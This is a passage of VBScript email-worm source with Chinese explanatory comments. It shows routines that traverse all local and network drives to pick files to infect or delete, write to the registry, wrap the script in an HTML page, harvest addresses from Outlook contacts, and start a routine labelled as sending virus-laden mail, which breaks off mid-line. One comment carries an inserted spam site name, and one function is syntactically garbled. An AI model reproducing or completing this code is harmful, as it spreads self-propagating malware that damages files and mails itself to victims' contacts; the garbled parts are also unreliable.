******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
’初始化变量
If Of.FileExists(S) Then 
’如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
’得到文件的父目录名
fname = S 
’得到文件名
ElseIf Of.FolderExists(S) Then 
’不存在于当前文件夹中，则得到目录名
fpath = S 
T = True
Else
fpath = Dnext(Of, "") 
’得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files 
’得到当前目录下的所有文件对象
For Each m In gf 
’遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then 
’如果该文件是文件集合中的一员
FNext = m 
’则返回该文件名，供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then 
’如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) ’
Loop
End Function
’******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then 
’如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders 
’就得到子目录数
pn = gp.Count
If pn = 0 Then 
’如果没子目录
Ppath = LCase(S) ’
Npath = LCase(Of.GetParentFolderName(S)) 
’得到父目录的小写形式
T = True
Else
Npath = LCase(S) 
’有子目录，得到其小写形式的集合 
End If
Do While Not Er ’ 
For Each pn In Of.GetFolder(Npath).SubFolders
’得到子目录下的子目录
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
’将字符串转化成小写
Npath = Of.GetParentFolderName(Npath) ’
If Of.GetFolder(Ppath).IsRootFolder Then 
’如果是根目录
m = Of.GetDriveName(Ppath) 
’就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
’******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m


On Error Resume Next
T = False
m = ""
Set dc = Of.Drives 
’得到所有的驱动器盘符
For Each d In dc 
’遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
’如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
’如果是False，就返回当前盘，并退出本函数
Else
If LCase(S) = LCase(d) Then 
’如果是True且盘符相同，就令T为True
T = True
End If
If m = "" Then 
’如果m为空，就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m 
’返回盘符
End Function
’******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
’返回该文件扩展名的小写
GetExt = Od.Item(fext) 
’返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function
’******************************************************************
Sub Rw(k, v) 
’写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
’创建对象
R.RegWrite k, v
End Sub
’******************************************************************
Function Rg(v) 
’读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
’创建对象
Rg = R.RegRead(v)
End Function
’******************************************************************
Function IsVbs() 
’此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then 
’如果出错，则不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function
’******************************************************************
Function IsHTML() 
’此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
’如果出错，则不是超文本
Else
IsHTML = True
End If
End Function

’******************************************************************
Function IsMail(S)
’此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then 
’返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
m1 = InStr(S, "@") 
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then 
’如果有“@”符号且“@”在“."之前，则是邮件地址


IsMail = True
End If
End If
End Function
’******************************************************************
Function Gsf() 
’得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
’得到特殊目录——Windows、System和Temp目录
If Er Then 
’如果失败，返回C:\
Gsf = "C:\"
Else 
’若正常，则返回%Windows%
Gsf = m
End If
End Function
’******************************************************************
Function Lhtml() 
’写入超文本的内容，信捷职称论文写作发表网，其中vbCrLf是换行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body>End Function
’******************************************************************
Function Lscript(S) 
’写入vbscript的声明
Lscript = "<" & "script language=’VBScript’>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
’******************************************************************
Function Sl(S1, S2, n) 
Dim l1, l2, l3, i
l1 = Len(S1) 
’得到文件流的长度 
l2 = Len(S2) 
’得到mailto:的长度
i = InStr(S1, S2) 
’在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then 
’找到则进行字符串爱作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function

’******************************************************************
Function Og() 
’得到WAB（通讯簿）中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
’创建Outlook应用程序对象，Outlook和Outlook Express都跑不掉啦！
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function
’******************************************************************
Sub Tsend() 


’发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.